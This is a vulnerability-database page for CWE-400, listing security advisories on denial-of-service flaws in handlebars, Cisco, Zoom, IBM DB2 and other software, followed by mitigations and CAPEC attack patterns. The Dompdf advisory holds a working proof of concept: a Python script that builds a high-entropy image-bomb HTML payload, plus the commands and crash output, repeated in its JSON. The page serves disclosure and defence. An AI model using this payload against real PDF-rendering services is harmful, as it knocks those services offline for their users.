Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

The product does not properly control the allocation and maintenance of a limited resource.

5603 vulnerabilities reference this CWE, most recent first.

GHSA-F52G-6JHX-586P

Vulnerability from github – Published: 2020-09-03 23:20 – Updated: 2020-08-31 18:54
VLAI
Summary
Denial of Service in handlebars
Details

Affected versions of handlebars are vulnerable to Denial of Service. The package's parser may be forced into an endless loop while processing specially-crafted templates. This may allow attackers to exhaust system resources leading to Denial of Service.

Recommendation

Upgrade to version 4.4.5 or later.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:54:21Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Affected versions of `handlebars` are vulnerable to Denial of Service. The package\u0027s parser may be forced into an endless loop while processing specially-crafted templates. This may allow attackers to exhaust system resources leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 4.4.5 or later.",
  "id": "GHSA-f52g-6jhx-586p",
  "modified": "2020-08-31T18:54:21Z",
  "published": "2020-09-03T23:20:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/1300"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Denial of Service in handlebars"
}

GHSA-F52H-53CG-XM8M

Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-05-24 19:19
VLAI
Details

A uncontrolled resource consumption in Fortinet FortiWeb version 6.4.0, version 6.3.15 and below, 6.2.5 and below allows attacker to cause a denial of service for webserver daemon via crafted HTTP requests

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-36187"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-02T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "A uncontrolled resource consumption in Fortinet FortiWeb version 6.4.0, version 6.3.15 and below, 6.2.5 and below allows attacker to cause a denial of service for webserver daemon via crafted HTTP requests",
  "id": "GHSA-f52h-53cg-xm8m",
  "modified": "2022-05-24T19:19:25Z",
  "published": "2022-05-24T19:19:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36187"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/advisory/FG-IR-21-039"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F532-RJ5Q-C6J3

Vulnerability from github – Published: 2022-05-24 16:58 – Updated: 2024-04-04 02:27
VLAI
Details

A vulnerability in the Control and Provisioning of Wireless Access Points (CAPWAP) protocol implementation of Cisco Aironet and Catalyst 9100 Access Points (APs) could allow an unauthenticated, adjacent attacker to cause an affected device to restart unexpectedly, resulting in a denial of service (DoS) condition. The vulnerability is due to improper resource management during CAPWAP message processing. An attacker could exploit this vulnerability by sending a high volume of legitimate wireless management frames within a short time to an affected device. A successful exploit could allow the attacker to cause a device to restart unexpectedly, resulting in a DoS condition for clients associated with the AP.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-15264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-16T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the Control and Provisioning of Wireless Access Points (CAPWAP) protocol implementation of Cisco Aironet and Catalyst 9100 Access Points (APs) could allow an unauthenticated, adjacent attacker to cause an affected device to restart unexpectedly, resulting in a denial of service (DoS) condition. The vulnerability is due to improper resource management during CAPWAP message processing. An attacker could exploit this vulnerability by sending a high volume of legitimate wireless management frames within a short time to an affected device. A successful exploit could allow the attacker to cause a device to restart unexpectedly, resulting in a DoS condition for clients associated with the AP.",
  "id": "GHSA-f532-rj5q-c6j3",
  "modified": "2024-04-04T02:27:58Z",
  "published": "2022-05-24T16:58:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-15264"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20191016-airo-capwap-dos"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F579-6HRX-73XG

Vulnerability from github – Published: 2026-06-09 21:32 – Updated: 2026-06-09 21:32
VLAI
Details

An uncaught exception in the /application/job/update/{id} endpoint of FastapiAdmin v2.2.0 allows authenticated attackers with the module_task:job:update permission to cause a Denial of Service (DoS) via manipulating the func field of scheduled tasks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-36724"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-09T19:17:42Z",
    "severity": "MODERATE"
  },
  "details": "An uncaught exception in the /application/job/update/{id} endpoint of FastapiAdmin v2.2.0 allows authenticated attackers with the module_task:job:update permission to cause a Denial of Service (DoS) via manipulating the func field of scheduled tasks.",
  "id": "GHSA-f579-6hrx-73xg",
  "modified": "2026-06-09T21:32:34Z",
  "published": "2026-06-09T21:32:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36724"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CC-T-454455/Vulnerabilities/tree/master/fastapi-admin/vulnerability-8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F582-5356-9MC6

Vulnerability from github – Published: 2022-05-13 01:16 – Updated: 2022-05-13 01:16
VLAI
Details

A vulnerability in the system scanning component of Cisco Immunet and Cisco Advanced Malware Protection (AMP) for Endpoints running on Microsoft Windows could allow a local attacker to disable the scanning functionality of the product. This could allow executable files to be launched on the system without being analyzed for threats. The vulnerability is due to improper process resource handling. An attacker could exploit this vulnerability by gaining local access to a system running Microsoft Windows and protected by Cisco Immunet or Cisco AMP for Endpoints and executing a malicious file. A successful exploit could allow the attacker to prevent the scanning services from functioning properly and ultimately prevent the system from being protected from further intrusion.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-15437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-11-08T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the system scanning component of Cisco Immunet and Cisco Advanced Malware Protection (AMP) for Endpoints running on Microsoft Windows could allow a local attacker to disable the scanning functionality of the product. This could allow executable files to be launched on the system without being analyzed for threats. The vulnerability is due to improper process resource handling. An attacker could exploit this vulnerability by gaining local access to a system running Microsoft Windows and protected by Cisco Immunet or Cisco AMP for Endpoints and executing a malicious file. A successful exploit could allow the attacker to prevent the scanning services from functioning properly and ultimately prevent the system from being protected from further intrusion.",
  "id": "GHSA-f582-5356-9mc6",
  "modified": "2022-05-13T01:16:15Z",
  "published": "2022-05-13T01:16:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15437"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181107-imm-dos"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/45829"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105867"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F58Q-FR7J-32M6

Vulnerability from github – Published: 2026-03-24 15:30 – Updated: 2026-03-25 21:30
VLAI
Details

Denial-of-service in the Libraries component in NSS. This vulnerability affects Firefox < 149.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-4727"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-24T13:16:08Z",
    "severity": "HIGH"
  },
  "details": "Denial-of-service in the Libraries component in NSS. This vulnerability affects Firefox \u003c 149.",
  "id": "GHSA-f58q-fr7j-32m6",
  "modified": "2026-03-25T21:30:28Z",
  "published": "2026-03-24T15:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4727"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2008112"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-20"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2026-23"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F5C9-X9J6-87QP

Vulnerability from github – Published: 2021-02-05 20:43 – Updated: 2023-08-08 19:28
VLAI
Summary
Prototype pollution in dotty
Details

Prototype pollution vulnerability in 'dotty' before version 0.1.1 allows attackers to cause a denial of service and may lead to remote code execution.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "dotty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-25912"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-02-03T07:41:22Z",
    "nvd_published_at": "2021-02-02T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Prototype pollution vulnerability in \u0027dotty\u0027 before version 0.1.1 allows attackers to cause a denial of service and may lead to remote code execution.",
  "id": "GHSA-f5c9-x9j6-87qp",
  "modified": "2023-08-08T19:28:24Z",
  "published": "2021-02-05T20:43:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-25912"
    },
    {
      "type": "WEB",
      "url": "https://github.com/deoxxa/dotty/commit/cd997d37917186c131be71501a698803f2b7ebdb"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/dotty"
    },
    {
      "type": "WEB",
      "url": "https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25912"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype pollution in dotty"
}

GHSA-F5CR-MP3H-4JJJ

Vulnerability from github – Published: 2023-08-08 18:30 – Updated: 2024-04-04 06:41
VLAI
Details

Uncontrolled resource consumption in Zoom SDKs before 5.14.7 may allow an unauthenticated user to enable a denial of service via network access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-36533"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-08T18:15:14Z",
    "severity": "HIGH"
  },
  "details": "Uncontrolled resource consumption in Zoom SDKs before 5.14.7 may allow an unauthenticated user to enable a denial of service via network access.",
  "id": "GHSA-f5cr-mp3h-4jjj",
  "modified": "2024-04-04T06:41:59Z",
  "published": "2023-08-08T18:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36533"
    },
    {
      "type": "WEB",
      "url": "https://explore.zoom.us/en/trust/security/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F5GF-2CJ8-52G2

Vulnerability from github – Published: 2026-07-22 22:51 – Updated: 2026-07-22 22:51
VLAI
Summary
Dompdf: Denial of Service (DoS) via Resource Exhaustion using Oversized Image Bitmaps
Details

Summary

Dompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).

While Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.

Technical Deep Dive:

Standard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to: - 100% CPU Saturation: The rendering thread hangs indefinitely trying to process the pixel stream. - Process Termination: The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.

Details

The vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object's bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.

PoC (Proof of Concept)

  1. Install Dompdf v3.1.5 via Composer.
composer require dompdf/dompdf:3.1.5
  1. Use the following Python script to generate the malicious payload (exploit.py):
from PIL import Image
import base64
from io import BytesIO
import os

DIMENSIONS = (30000, 30000) 
OUTPUT_FILE = "payload.html"

def generate_noise_bomb():
    print(f"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...")

    random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])
    image = Image.frombytes('L', DIMENSIONS, random_bytes)

    buffer = BytesIO()
    # Using PNG instead of JPEG to force full bitmap decompression in memory
    image.save(buffer, format="PNG")
    image_base64 = base64.b64encode(buffer.getvalue()).decode()

    html_content = f"""
    <html>
    <body>
        <div style="overflow:hidden; width:1px; height:1px;">
            <img src="data:image/png;base64,{image_base64}">
        </div>
        <h1>PoC: Resource Exhaustion</h1>
    </body>
    </html>
    """

    with open(OUTPUT_FILE, "w") as f:
        f.write(html_content)
    print(f"[+] High-entropy payload saved to: {OUTPUT_FILE}")

if __name__ == "__main__":
    generate_noise_bomb()
  1. Use the following Python script to monitor the system resources in a separate terminal (monitor.py):
import psutil
import time

def start_monitoring():
    print("[*] Searching for PHP processes... (Press Ctrl+C to stop)")
    try:
        while True:
            for proc in psutil.process_iter(['pid', 'name', 'memory_info', 'cpu_percent']):
                if 'php' in proc.info['name'].lower():
                    try:
                        pid = proc.info['pid']
                        mem = proc.info['memory_info'].rss / (1024 * 1024)
                        cpu = proc.cpu_percent(interval=0.1)
                        print(f"\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%", end="", flush=True)
                    except (psutil.NoSuchProcess, psutil.AccessDenied):
                        print(f"\n[!] CRASH DETECTED: Process {pid} terminated abruptly.")
                        return
            time.sleep(0.05)
    except KeyboardInterrupt:
        print("\n[*] Monitoring finished.")

if __name__ == "__main__":
    start_monitoring()

  1. Create a file named render.php. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:
<?php
require_once __DIR__ . '/vendor/autoload.php';
use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->set('isRemoteEnabled', true);
$options->set('isHtml5ParserEnabled', true);

$dompdf = new Dompdf($options);

$html = file_get_contents('php://stdin');

echo "[*] Starting Dompdf rendering process...\n";

try {
    $dompdf->loadHtml($html);
    $dompdf->render(); // Point of resource exhaustion
    echo "[+] PDF rendered successfully.\n";
} catch (Exception $e) {
    echo "[!] Render failed: " . $e->getMessage() . "\n";
}
  1. Execute the PHP process, providing the payload via stdin. We use a 2GB memory limit to demonstrate that the crash is caused by uncontrolled allocation rather than a restrictive server configuration:
php -d memory_limit=2G render.php < payload.html
  1. The engine attempts to process every pixel of the high-entropy image. The monitor.py script will record 99.8% CPU saturation, followed by a PHP Fatal Error (Allowed memory size exhausted) as Dompdf attempts to allocate ~1.2 GB in a single operation. The process is then terminated, confirming the Denial of Service.

Proof of Concept Results

https://github.com/user-attachments/assets/d7f936f4-570a-4dd8-8022-9c219664eb5b

The following logs demonstrate the successful exploitation of the resource exhaustion vulnerability. Despite a generous 2GB memory limit provided to the PHP process, a single high-entropy image causes a fatal crash.

Payload Generation:

python3 exploit.py 
[*] Generating 30000x30000 High-Entropy Noise Bomb...
[+] High-entropy payload saved to: payload.html

Target Execution & Denial of Service:

``` Command execution php -d memory_limit=2G render.php < payload.html


Output [*] Starting Dompdf rendering process... PHP Fatal error: Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1200355712 bytes) in /home/far00t/dompdf_exploit/vendor/dompdf/dompdf/src/Dompdf.php on line 490

While executing the render.php process, the monitor.py script captured the following telemetry, showing the impact on system resources:

python3 monitor.py [*] Searching for PHP processes... (Press Ctrl+C to stop) [MONITOR] PID: 210767 | RAM: 953.17 MB | CPU: 99.7% ```

Key Findings from Telemetry:

  • CPU Starvation: The process reached a sustained 99.7% CPU usage. In a production environment, this level of saturation on a single-threaded PHP process effectively denies service to any other task on that core.
  • Rapid Memory Inflation: The resident memory (RSS) climbed to 953.17 MB just before the engine attempted the final allocation of 1.2 GB that triggered the Fatal error.
  • Bypass Confirmation: The telemetry proves that Dompdf's internal "safe" limits were bypassed, as the engine proceeded to attempt a massive bitmap decompression that the host environment could not sustain.

Impact

An unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf.

Credits

  • Offensive Security Researcher: Fabian Rosales (far00t01).
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "dompdf/dompdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59942"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-22T22:51:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nDompdf v3.1.5 is vulnerable to a Denial of Service (DoS) attack via resource exhaustion. An attacker can crash the PHP process by providing a specially crafted HTML document containing a single image with massive dimensions (e.g., 30,000x30,000 pixels).\n\nWhile Dompdf implements internal checks to validate image dimensions, these can be bypassed by using a high-entropy image (such as random noise) encoded in Base64 and wrapped in specific CSS containers.\n\n### Technical Deep Dive:\nStandard solid-color images can often be optimized by compression algorithms or rendering engines. However, a high-entropy noise image forces the PHP engine to process each of the 900 million pixels individually. When render() is called, the engine attempts to handle the uncompressed bitmap in memory and calculate the layout for every high-variance pixel data point. This leads to:\n- **100% CPU Saturation:** The rendering thread hangs indefinitely trying to process the pixel stream.\n- **Process Termination:** The massive memory allocation (verified at ~1.2 GB for a single image) triggers a Fatal Error or an OS-level SIGKILL (OOM), resulting in an immediate Denial of Service.\n\n### Details\nThe vulnerability exists because the dimension validation happens early, but the resource allocation for calculating the object\u0027s bounding box and internal buffers during the rendering phase does not strictly limit the cumulative CPU time or memory usage for a single object that has passed the initial check.\n\n### PoC (Proof of Concept)\n1. Install Dompdf v3.1.5 via Composer.\n```\ncomposer require dompdf/dompdf:3.1.5\n```\n2. Use the following Python script to generate the malicious payload (`exploit.py`):\n```python\nfrom PIL import Image\nimport base64\nfrom io import BytesIO\nimport os\n\nDIMENSIONS = (30000, 30000) \nOUTPUT_FILE = \"payload.html\"\n\ndef generate_noise_bomb():\n    print(f\"[*] Generating {DIMENSIONS[0]}x{DIMENSIONS[1]} High-Entropy Noise Bomb...\")\n    \n    random_bytes = os.urandom(DIMENSIONS[0] * DIMENSIONS[1])\n    image = Image.frombytes(\u0027L\u0027, DIMENSIONS, random_bytes)\n    \n    buffer = BytesIO()\n    # Using PNG instead of JPEG to force full bitmap decompression in memory\n    image.save(buffer, format=\"PNG\")\n    image_base64 = base64.b64encode(buffer.getvalue()).decode()\n\n    html_content = f\"\"\"\n    \u003chtml\u003e\n    \u003cbody\u003e\n        \u003cdiv style=\"overflow:hidden; width:1px; height:1px;\"\u003e\n            \u003cimg src=\"data:image/png;base64,{image_base64}\"\u003e\n        \u003c/div\u003e\n        \u003ch1\u003ePoC: Resource Exhaustion\u003c/h1\u003e\n    \u003c/body\u003e\n    \u003c/html\u003e\n    \"\"\"\n    \n    with open(OUTPUT_FILE, \"w\") as f:\n        f.write(html_content)\n    print(f\"[+] High-entropy payload saved to: {OUTPUT_FILE}\")\n\nif __name__ == \"__main__\":\n    generate_noise_bomb()\n```\n3. Use the following Python script to monitor the system resources in a separate terminal (`monitor.py`):\n```python\nimport psutil\nimport time\n\ndef start_monitoring():\n    print(\"[*] Searching for PHP processes... (Press Ctrl+C to stop)\")\n    try:\n        while True:\n            for proc in psutil.process_iter([\u0027pid\u0027, \u0027name\u0027, \u0027memory_info\u0027, \u0027cpu_percent\u0027]):\n                if \u0027php\u0027 in proc.info[\u0027name\u0027].lower():\n                    try:\n                        pid = proc.info[\u0027pid\u0027]\n                        mem = proc.info[\u0027memory_info\u0027].rss / (1024 * 1024)\n                        cpu = proc.cpu_percent(interval=0.1)\n                        print(f\"\\r[MONITOR] PID: {pid} | RAM: {mem:.2f} MB | CPU: {cpu}%\", end=\"\", flush=True)\n                    except (psutil.NoSuchProcess, psutil.AccessDenied):\n                        print(f\"\\n[!] CRASH DETECTED: Process {pid} terminated abruptly.\")\n                        return\n            time.sleep(0.05)\n    except KeyboardInterrupt:\n        print(\"\\n[*] Monitoring finished.\")\n\nif __name__ == \"__main__\":\n    start_monitoring()\n\n```\n4. Create a file named `render.php`. This script acts as the vulnerable entry point, mimicking a standard implementation of the Dompdf library:\n```php\n\u003c?php\nrequire_once __DIR__ . \u0027/vendor/autoload.php\u0027;\nuse Dompdf\\Dompdf;\nuse Dompdf\\Options;\n\n$options = new Options();\n$options-\u003eset(\u0027isRemoteEnabled\u0027, true);\n$options-\u003eset(\u0027isHtml5ParserEnabled\u0027, true);\n\n$dompdf = new Dompdf($options);\n\n$html = file_get_contents(\u0027php://stdin\u0027);\n\necho \"[*] Starting Dompdf rendering process...\\n\";\n\ntry {\n    $dompdf-\u003eloadHtml($html);\n    $dompdf-\u003erender(); // Point of resource exhaustion\n    echo \"[+] PDF rendered successfully.\\n\";\n} catch (Exception $e) {\n    echo \"[!] Render failed: \" . $e-\u003egetMessage() . \"\\n\";\n}\n```\n5. Execute the PHP process, providing the payload via stdin. We use a 2GB memory limit to demonstrate that the crash is caused by uncontrolled allocation rather than a restrictive server configuration:\n```\nphp -d memory_limit=2G render.php \u003c payload.html\n```\n6. The engine attempts to process every pixel of the high-entropy image. The monitor.py script will record 99.8% CPU saturation, followed by a PHP Fatal Error (Allowed memory size exhausted) as Dompdf attempts to allocate ~1.2 GB in a single operation. The process is then terminated, confirming the Denial of Service.\n\n## Proof of Concept Results\n\nhttps://github.com/user-attachments/assets/d7f936f4-570a-4dd8-8022-9c219664eb5b\n\nThe following logs demonstrate the successful exploitation of the resource exhaustion vulnerability. Despite a generous 2GB memory limit provided to the PHP process, a single high-entropy image causes a fatal crash.\n\nPayload Generation:\n```\npython3 exploit.py \n[*] Generating 30000x30000 High-Entropy Noise Bomb...\n[+] High-entropy payload saved to: payload.html\n```\n\nTarget Execution \u0026 Denial of Service:\n\n``` Command execution\nphp -d memory_limit=2G render.php \u003c payload.html\n```\n\n```\nOutput\n[*] Starting Dompdf rendering process...\nPHP Fatal error:  Allowed memory size of 2147483648 bytes exhausted (tried to allocate 1200355712 bytes) in /home/far00t/dompdf_exploit/vendor/dompdf/dompdf/src/Dompdf.php on line 490\n```\nWhile executing the render.php process, the monitor.py script captured the following telemetry, showing the impact on system resources:\n```\npython3 monitor.py \n[*] Searching for PHP processes... (Press Ctrl+C to stop)\n[MONITOR] PID: 210767 | RAM: 953.17 MB | CPU: 99.7%\n```\n\n### Key Findings from Telemetry:\n- CPU Starvation: The process reached a sustained 99.7% CPU usage. In a production environment, this level of saturation on a single-threaded PHP process effectively denies service to any other task on that core.\n- Rapid Memory Inflation: The resident memory (RSS) climbed to 953.17 MB just before the engine attempted the final allocation of 1.2 GB that triggered the Fatal error.\n- Bypass Confirmation: The telemetry proves that Dompdf\u0027s internal \"safe\" limits were bypassed, as the engine proceeded to attempt a massive bitmap decompression that the host environment could not sustain.\n\n\n## Impact\nAn unauthenticated remote attacker can cause a complete Denial of Service on the web server by submitting a crafted HTML string. This affects any application that allows users to provide HTML content or URLs that are subsequently converted to PDF using Dompdf.\n\n## Credits\n- Offensive Security Researcher: Fabian Rosales (far00t01).",
  "id": "GHSA-f5gf-2cj8-52g2",
  "modified": "2026-07-22T22:51:40Z",
  "published": "2026-07-22T22:51:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-f5gf-2cj8-52g2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/commit/7c65e7bbeccf146b2409740405af73949ad129d0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/commit/89164eaabe0bb50c462f0b24f740044ba5fb0f99"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dompdf/dompdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Dompdf: Denial of Service (DoS) via Resource Exhaustion using Oversized Image Bitmaps"
}

GHSA-F5PG-467W-P7F7

Vulnerability from github – Published: 2022-05-24 17:09 – Updated: 2022-05-24 17:09
VLAI
Details

IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) 9.7, 10.1, 10.5, 11.1, and 11.5 could allow an unauthenticated user to send specially crafted packets to cause a denial of service from excessive memory usage.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-4135"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-02-19T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) 9.7, 10.1, 10.5, 11.1, and 11.5 could allow an unauthenticated user to send specially crafted packets to cause a denial of service from excessive memory usage.",
  "id": "GHSA-f5pg-467w-p7f7",
  "modified": "2022-05-24T17:09:21Z",
  "published": "2022-05-24T17:09:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-4135"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/173806"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210108-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/2876307"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

